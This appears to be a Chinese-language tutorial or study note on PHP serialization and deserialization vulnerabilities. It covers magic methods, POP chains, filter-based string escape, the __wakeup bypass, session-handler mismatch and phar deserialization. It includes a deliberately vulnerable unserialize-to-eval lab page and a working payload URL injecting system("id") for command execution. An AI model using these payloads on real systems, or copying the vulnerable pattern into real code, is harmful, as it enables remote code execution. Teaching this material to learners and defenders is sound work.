序列化
序列化作用
序列化(Serialization)是将对象的状态信息(属性)转换为可以存存储或传输的形式的过程
序列化只序列化属性
对象 ------ 序列化------字符串
将对象或数组转化为可存储/传输的字符串
所有格式第一位都是数据类型的缩写
类型:数据
<?php
$a = null;
$b = 666;
$c = 66.6;
$d = true;
$e = false;
$f = "Eecho";
echo serialize($a).PHP_EOL;
echo serialize($b).PHP_EOL;
echo serialize($c).PHP_EOL;
echo serialize($d).PHP_EOL;
echo serialize($e).PHP_EOL;
echo serialize($f).PHP_EOL;
/*
N;
i:666;
d:66.6;
b:1;
b:0;
s:5:"Eecho";
*/
数组序列化
<?php
$a = array('Eecho','Li','lishoupeng');
echo serialize($a);
/*
a:3:{i:0;s:5:"Eecho";i:1;s:2:"Li";i:2;s:10:"lishoupeng";}
*/
a 数组:3参数数量:{i类型:0编号;s类型:5数量:"Eecho"值;i:1;s:2:"Li";i:2;s:10:"lishoupeng";}
对象序列化
public
<?php
class test
{
public $pub = 'Eecho';
function jineng()
{
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
/*
O:4:"test":1:{s:3:"pub";s:5:"Eecho";}
*/
O object:4类名长度:"test"类名:1有几个成员属性:{s类型:3变量名长度:"pub"变量值;s:5:"Eecho";}
private
class test
{
private $pub='Eecho';
function jineng()
{
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
//echo urlencode(serialize($a));
/*
O:4:"test":1:{s:9:"testpub";s:5:"Eecho";}
*/
O object:4类名长度:"test"类名:1成员属性:{s类型:9长度:" test pub"值;s:5:"Eecho";}
s:9:"testpub"; 之所以testpub会多个test(类名)还显示9长度是因为private私有属性序列化时会在变量前面加%00类名%00
可以将结果使用urlencode编码O%3A4%3A%22test%22%3A1%3A%7Bs%3A9%3A%22%00test%00pub%22%3Bs%3A5%3A%22Eecho%22%3B%7D
protected
class test
{
protected $pub='Eecho';
function jineng()
{
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
//echo urlencode(serialize($a));
/*
O:4:"test":1:{s:6:" * pub";s:5:"Eecho";}
*/
O:4:"test":1:{s:6:" * pub";s:5:"Eecho";}
s:6:" pub";之所以会多个和长度变成6,是因为protected属性序列化时会在变量前面加%00 %00
可以将结果使用urlencode编码O%3A4%3A%22test%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00pub%22%3Bs%3A5%3A%22Eecho%22%3B%7D
成员属性调用对象
class test
{
var $pub = 'Eecho';
function jineng()
{
$this->pub;
}
}
class test2
{
var $ben;
function __construct()
{
$this->ben = new test(); // 实例化test类将它赋值给test2里面的ben成员属性
}
}
$a = new test2();
echo serialize($a);
/*
O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:5:"Eecho";}}
*/
讲上面分割来看
O:5:"test2":1:{s:3:"ben";是test2序列化出来的
O:4:"test":1:{s:3:"pub";s:5:"Eecho";}} test序列化出来的
当实例化test2的时候,会自动调用__construct方法,然后实例化test类将它赋值给test2里面的ben成员属性这样test就包含在test2里面了
class test
{
var $pub = 'Eecho';
function jineng()
{
echo $this->pub;
}
}
class test2
{
var $ben;
}
$t1 = new test();
$t2 = new test2();
$t2->ben = $t1;
echo serialize($t2);
/*
O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:5:"Eecho";}}
*/
反序列化
反序列化之后的内容为一个对象
反序列化生成的对象里的值,由反序列化里的值提供;与原有类与定义的值无关
反序列化不触发类的成员方法;需要调用方法后才能触发
反序列化作用
将序列化后的参数还原成实例化的对象
反序列化漏洞的成因:反序列化过程中,unserialize()接收的值(字符串)可控;通过更改这个值,得到所需要的代码,即生成的对象的属性值
字符串 ------反序列化 ------ 对象
<?php
class test
{
public $a = 'Eecho';
protected $b = 666;
private $c = false;
public function displayVar()
{
echo $this->a;
}
}
$d = new test();
$d = serialize($d);
echo $d.PHP_EOL;
/*
O:4:"test":3:{s:1:"a";s:5:"Eecho";s:4:" * b";i:666;s:7:" test c";b:0;}
*/
//拿到他的序列化后进行反序列化
$d = 'O:4:"test":3:{s:1:"a";s:5:"Eecho";s:4:"%00*%00b";i:666;s:7:"%00test%00c";b:0;}'; //将结果里面的空格替换成%00
$d = urldecode($d);
//print_r(unserialize($d));
var_dump(unserialize($d));
/*
class test#1 (3) {
public $a =>
string(5) "Eecho"
protected $b =>
int(666)
private $c =>
bool(false)
}
*/
//反序列化之后的内容为一个对象
$d = 'O:4:"test":3:{s:1:"a";s:2:"Li";s:4:"%00*%00b";i:666;s:7:"%00test%00c";b:0;}'; //将上面的结果Eecho替换成Li,前面的长度也要修改
$d = urldecode($d);
//print_r(unserialize($d));
var_dump(unserialize($d));
/*
class test#1 (3) {
public $a =>
string(2) "Li"
protected $b =>
int(666)
private $c =>
bool(false)
}
*/
//发现Eecho变成替换的Li了,因为反序列化生成的对象里的值,由反序列化里的值提供;与原有类与定义的值无关
$d = 'O:4:"test":3:{s:1:"a";s:2:"Li";s:4:"%00*%00b";i:666;s:7:"%00test%00c";b:0;}';
$d = urldecode($d);
//print_r(unserialize($d));
//var_dump(unserialize($d));
$e = unserialize($d);
$e->displayVar(); //调用test类的display()方法
/*
Li
*/
//结果Li因为反序列化不触发类的成员方法;需要调用方法后才能触发0
反序列化漏洞less
查看源码可以发现下面调用了unserialize进行反序列化,执行了displayVar方法,并且displayVar()方法使用了eval函数,函数的参数来自$a这样就可以利用$a(不能直接修改displayVar方法是因为序列化只序列化属性不序列化方法)
//源码
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $a = 'echo "this is test!!";';
public function displayVar() {
eval($this->a);
}
}
$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;
//拿到本地测试
class test
{
public $a = 'echo "this is test!!";';
public function displayVar()
{
eval($this->a);
}
}
//$get = $_GET["benben"];
$get = 'O:4:"test":1:{s:1:"a";s:13:"system("ls");";}'; //手动构造payload,将s:13:"system("ls");替换成想要执行的命令,前面的数字也要修改。window上面执行会报错因为ls是Linux命令
$b = unserialize($get);
var_dump($b);
$b->displayVar();
/*
payload:http://localhost:8080/class06/index.php?benben=O:4:"test":1:{s:1:"a";s:13:"system("id");";}
*/
魔术方法
魔术方法就是,一个预定好的,在特定情况下自动触发的行为方法。
魔术方法的作用:反序列化漏洞成因是反序列化过程中,unserialize()接收的值是可控的,可以通过修改这个值,得到需要的代码,通过调用方法,触发代码执行。
魔术方法在特定条件下自动调用相关方法,最终导致触发代码
__construct(), 类的构造函数
__destruct(), 类的析构函数
__call(), 在对象中调用一个不可以访问方法时调用
__callStatic(), 用静态方式中调用一个不可访问方法时调用
__get(), 获得一个类的成员属性时调用
__isset(), 当对象不可访问属性调用isset()或empty()时调用
__set(), 设置一个类的成员变量时调用
__unset(), 当对不可访问属性调用unset()时被调用
__sleep(), 执行serialize()时,先会调用这个函数
__wakeup(), 执行unserialize()时,先会调用这个函数
__inString(), 类被当成字符串时的回应方法
__invoke(), 调用函数的方式调用一个对象时的回应方法
set(), 调用var_export()导出类时,此静态方法被调用
__clone(), 当前对象复制完成时调用
__autoloade(), 尝试加载未定义的类
__debuginfo(), 打印所需调试信息
魔术方法相关机制
触发时机 ----> 功能 ----> 参数 ----> 返回值
触发时机:动作不同,触发的魔术方法也不同
参数:一些特殊魔术方法会传参
__consturct()
构造函数,在实例化一个对象的时候,首先会去自动执行的一个方法,在序列化和反序列化过程中不会触发.
触发时机:实例化对象
功能:提前清理不必要的内容
参数:非必要
返回值:
<?php
class User
{
public $uername;
public function __construct($uername){
$this->uername = $uername;
echo "触发了构造函数1次";
}
}
$test = new User('Eecho');
$ser = serialize($test);
unserialize($ser);
/*
触发了构造函数1次
*/
将$test注释掉,$ser不会触发,unserialize($ser);也不会触发,因为__construct()是在实例化的时候调用
__destruct()
析构函数,在对象的所有引用被删除或者当对象被显示销毁时执行的魔术方法
实例化对象结束后,代码运行完全销毁,触发析构函数__destruct()
<?php
class User
{
public function __destruct()
{
echo "触发了析构函数1次";
}
}
$test = new User();
$ser = serialize($test);
unserialize($ser);
/*
触发了析构函数1次触发了析构函数1次
*/
触发了两次,因为$test触发一次,unserialize触发一次.
__sleep
序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()。
如果存在,该方法会被调用,然后才执行序列化操作。
此功能用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组
如果未返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误
触发时机:序列化serialize()之前
功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性
参数:成员属性
返回值:需要被序列化存储的成员属性
<?php
class User
{
const SITE='uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password)
{
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep()
{
return array('username', 'nickname');
}
}
$user = new User('a','b','c');
echo serialize($user);
/*
O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}
*/
// 少一个password是因为,使用serialize()函数的时候会自动触发sleep()方法,而sleep()方法只返回了username和nickname
__wakeup()
unserialize()会检测是否存在一个__wakeup()方法。
如果存在,则会调用__wakeup()方法,预先准备对象需要的资源。
预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库链接或执行其它初始化操作
序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行
触发时机:反序列化unserialize()之前
功能:
参数:
返回值
<?php
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
$this->password = $this->username;
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
/*
class User#1 (4) {
public $username =>
string(1) "a"
public $nickname =>
string(1) "b"
private $password =>
string(1) "a"
private $order =>
NULL
}
*/
__tostring
表达方式错误导致魔术方法触发
触发时机:把对象被当成字符串调用
功能:
参数:
返回值:
<?php
class User {
var $benben = "this is test!!";
public function __toString()
{
return '格式不对,输出不了!';
}
}
$test = new User() ;
print_r($test);
echo $test;
/*
User Object
(
[benben] => this is test!!
)
格式不对,输出不了!
*/
__invoke()
格式表达错误导致魔术方法触发
触发时机:把对象当成函数调用
功能:
参数:
返回值:
<?php
class User
{
var $benben = "this is test!!";
public function __invoke()
{
echo "它不是个函数";
}
}
$test = new User();
echo $test->benben;
echo $test()->benben;
/*
this is test!!它不是个函数
*/
__call()
触发时机:调用一个不存在的方法
功能:
参数:2个参数传参$arg1,$agr2(arg1调用的不存在的方法的名称,arg2调用的不存在的方法的参数)
返回值:调用的不存在的方法的名称和参数
<?php
class User
{
public function __call($arg1, $arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User();
$test->callxxx('a');
/*
callxxx,a
*/
__callStatic()
触发时机:静态调用或调用成员常量时使用的方法不存在
功能:
参数:2个参数传参$arg1,$arg2
返回值:调用的不存在的方法的名称和参数
<?php
class User
{
public function __callStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User();
$test :: callxxx('a');
/*
callxxx,a
*/
__get()
触发时机:调用的成员属性不存在
功能:
参数:传参$arg1
返回值:不存在的成员属性的名称
<?php
class User
{
public $var1;
public function __get($arg1)
{
echo $arg1;
}
}
$test = new User();
$test->var2;
/*
var2
*/
__set()
触发时机:给不存在的成员属性赋值
功能:
参数:传参$arg1,$arg2
返回值:不存在的成员属性的名称和赋的值
<?php
class User
{
public $var1;
public function __set($arg1,$arg2)
{
echo $arg1.','.$arg2;
}
}
$test = new User();
$test->var2 = 2;
/*
var2,2
*/
__isset()
触发时机:都不可访问属性使用isset()或empty()时,__isset()会被调用
功能:
参数:传参$arg1
返回值:不存在的成员属性的名称
<?php
class User {
private $var;
public function __isset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
isset($test->var);
/*
var
*/
__unset()
触发时机:对不可访问属性使用unset()时
功能:
参数:传参$arg1
返回值:不存在的成员属性的名称
<?php
class User {
private $var;
public function __unset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
unset($test->var);
/*
var
*/
__clone()
触发时机:当使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone()
功能:
参数:
返回值:
<?php
class User {
private $var;
public function __clone( )
{
echo "__clone test";
}
}
$test = new User() ;
$newclass = clone($test);
/*
__clone test
*/
POP链
在序列化中,能控制得数据就是对象中的属性值(成员属性),所以在PHP反序列化中有一种漏洞利用方法叫“面向属性编程”,既POP(Property Oriented Programming)
POP链接就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload。
poc编写
POC(Proff of concept)中文翻译为概念认证。在安全界可以理解成漏洞验证程序。POC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。
字符串逃逸
反序列化分隔符
反序列化以;}结束,后面的字符串不影响正常的反序列化
减少吃掉,增多吐出
属性逃逸
属性逃逸:一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸。
特性
成员属性数量要对
<?php
class A{
public $v1 = "a";
}
echo serialize(new A());
$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";N;}'; //添加了 s:2:"v2";N;
var_dump(unserialize($b)); //得不到结果,因为属性数量不对
/*
O:1:"A":1:{s:2:"v1";s:1:"a";}
bool(false)
*/
减少
<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
}
$param=serialize(new test()); // O:4:"test":3:{s:4:"user";N;s:4:"pass";N;s:3:"vip";b:0;}
echo $param;
$profile=unserialize(filter($param));
if ($profile->vip){
echo "flag.php";
}
思路:代码最后判断了如果$profile->vip为true就输出flag,所以修改vip=true,并给user和pass设置值方便查看
<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user='flag';
var $pass='Eecho';
var $vip = true ;
}
$param=serialize(new test());
echo $param; // O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:5:"Eecho";s:3:"vip";b:1;}
$profile=unserialize(filter($param));
if ($profile->vip){
echo "flag.php";
}
序列化的结果为 O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:5:"Eecho";s:3:"vip";b:1;} 要逃逸vip为true,因为为减少,所以会吃掉后面的,那么可以让他多吃吃到 ";s:4:"pass";s:xx:"需要吃掉19个字符,那么至少要10个flag(一个flag替换后为2位)多一位,在后面补上(不上的为1),逃逸的字符为 ";s:4:"pass";s:5:"Eecho";s:3:"vip";b:1;},补上一位后就变成 1";s:4:"pass";s:5:"Eecho";s:3:"vip";b:1;}
<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user='flagflagflagflagflagflagflagflagflagflag';
var $pass='1";s:4:"pass";s:5:"Eecho";s:3:"vip";b:1;}';
var $vip = true ;
}
$param=serialize(new test());
echo $param; // O:4:"test":3:{s:4:"user";s:40:"flagflagflagflagflagflagflagflagflagflag";s:4:"pass";s:41:"1";s:4:"pass";s:5:"Eecho";s:3:"vip";b:1;}";s:3:"vip";b:1;}
$profile=unserialize(filter($param));
if ($profile->vip){
echo "flag.php";
}
序列化的结果为 O:4:"test":3:{s:4:"user";s:40:"flagflagflagflagflagflagflagflagflagflag";s:4:"pass";s:41:"1";s:4:"pass";s:5:"Eecho";s:3:"vip";b:1;}";s:3:"vip";b:1;},当前是还没有替换的,替换后的为 O:4:"test":3:{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:41:"1";s:4:"pass";s:5:"Eecho";s:3:"vip";b:1;}";s:3:"vip";b:1;}替换后user的值是40位正好到1那里,从而逃逸出后面的。
增加
<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user = 'php';
var $pass='escaping';
}
$param=serialize(new test()); // O:4:"test":2:{s:4:"user";s:3:"php";s:4:"pass";s:8:"escaping";}
echo $param;
$profile=unserialize(filter($param)); //过滤,将flag和php替换成hack
//$profile=unserialize(filter('O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}'));
if ($profile->pass=='escaping'){
echo "flag{123456789}";
}
目标:判断是否pass == ’escaping‘如果是就输入flag
O:4:"test":2:{s:4:"user";s:3:"php";s:4:"pass";s:8:"escaping";}
加粗的为要逃逸的代码一共29个字符,所以要加29个PHP因为一个PHP吐出1个字符
O:4:"test":2{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
116是因为PHP会被替换成hack而hack为4个字符,29*4=116,替换后就为116个字符正好匹配
wakeup
漏洞:CVE-2016-7124
漏洞产生原因:如果存在__ wakeup方法,调用unserilize()方法前则先调用 wakeup()方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过 wakeup()的执行
影响范围:
PHP5 < 5.6.25
PHP7 < 7.0.10
引用
session
当session_start()被调用或者php.ini中, session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认/tmp)。
存取数据的格式有多种,常用的有三种。
漏洞产生:写入格式和读取格式不一致
php
默认情况下使用php格式存储
<?php
highlight_file(__FILE__);
error_reporting(0);
session_start();
$_SESSION['benben'] = $_GET['ben'];
/*
通过hackbar传参,?ben=Eecho,
然后进入到docker,网站根目录下的tmp文件夹下,发现有一个sess_l8dpkeuigapah8aqo6fg6i9r24文件,cat命令查看它发现是 benben|s:5:"Eecho" (键名benben 竖线 经过serialize序列化后的值)也就是刚刚hackbar传参的值
*/
serialize
ini_set()函数是用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失败
如果要使用serialize格式存储的化,就必须要声明。声明'session.serialize_handler'为'php_serialize'
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
/*
通过hackbar传参,?ben=Eecho&b=20,然后进入docker,网站根目录下的tmp文件夹下,发现有一个sess_l8dpkeuigapah8aqo6fg6i9r24文件,通过cat命令查看它,发现是 a:2:{s:6:"benben";N;s:1:"b";N;}
也就是经过serialize序列化后的结果。
*/
binary
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
/*
通过hackbar传参,?ben=Eecho&b=18,进入docker,网站根目录下的tmp文件夹下,发现有一个sess_igv0n34avo7cr2q6f6kr7jebe5文件,通过cat命令查看发现是 ACKbenbens:5:"Eecho";SOHbs:2:"18";
ASCII字符ACK,键名benben,反序列化后的s:5:"Eecho";SOHbs:2:"18";
*/
phar
什么是phar
类似于java的jar文件,JAR是开发java程序一个应用,包括所有的可执行、可访问的文件,都打包进了一个JAR文件里使得部署过程十分简单。
PHAR("Php ARchive")是PHP里类似于JAR的一种打包文件。
对于PHP5.3或更高版本,Phar后缀文件是默认开启支持的,可以直接使用它。
文件包含就:phar伪协议,可读取 .phar文件
phar结构
stub phar文件标识,格式为 xxx<?php xxx;_ HALT _COMPiLER();?>; (头部信息)
manifest 压缩文件的属性等信息,以序列化存储;
contents 压缩文件的内容;
signature 签名,放在文件末尾;
Phar协议解析文件的时候,会自动触发对manifest字段的序列化字符串进行反序列化(PHP >=5.2,在php.ini中将phar.readonly设为off)
phar使用条件
phar文件能够上传到服务器
要有可用反序列化魔术方法作为跳板 (destruction,construct)
要有文件操作函数,如 file_exists() fopen() file_get_contents()等等
文件操作函数参数可控,且 / phar 等特殊字段没有被过滤
PHP Array特性
当array内包裹的第一个值是对象,第二个是对象内的方法时,在反序列化后会调用该对象的方法。
<?php
class A
{
public $key;
function __destruct()
{
unserialize($this->key)();
}
}
class B
{
function print_flag()
{
echo "flag{123-456-789}";
}
}
$a = new A();
$b = new B();
$a->key=serialize(array($b,"print_flag"));
// flag{123-456-789}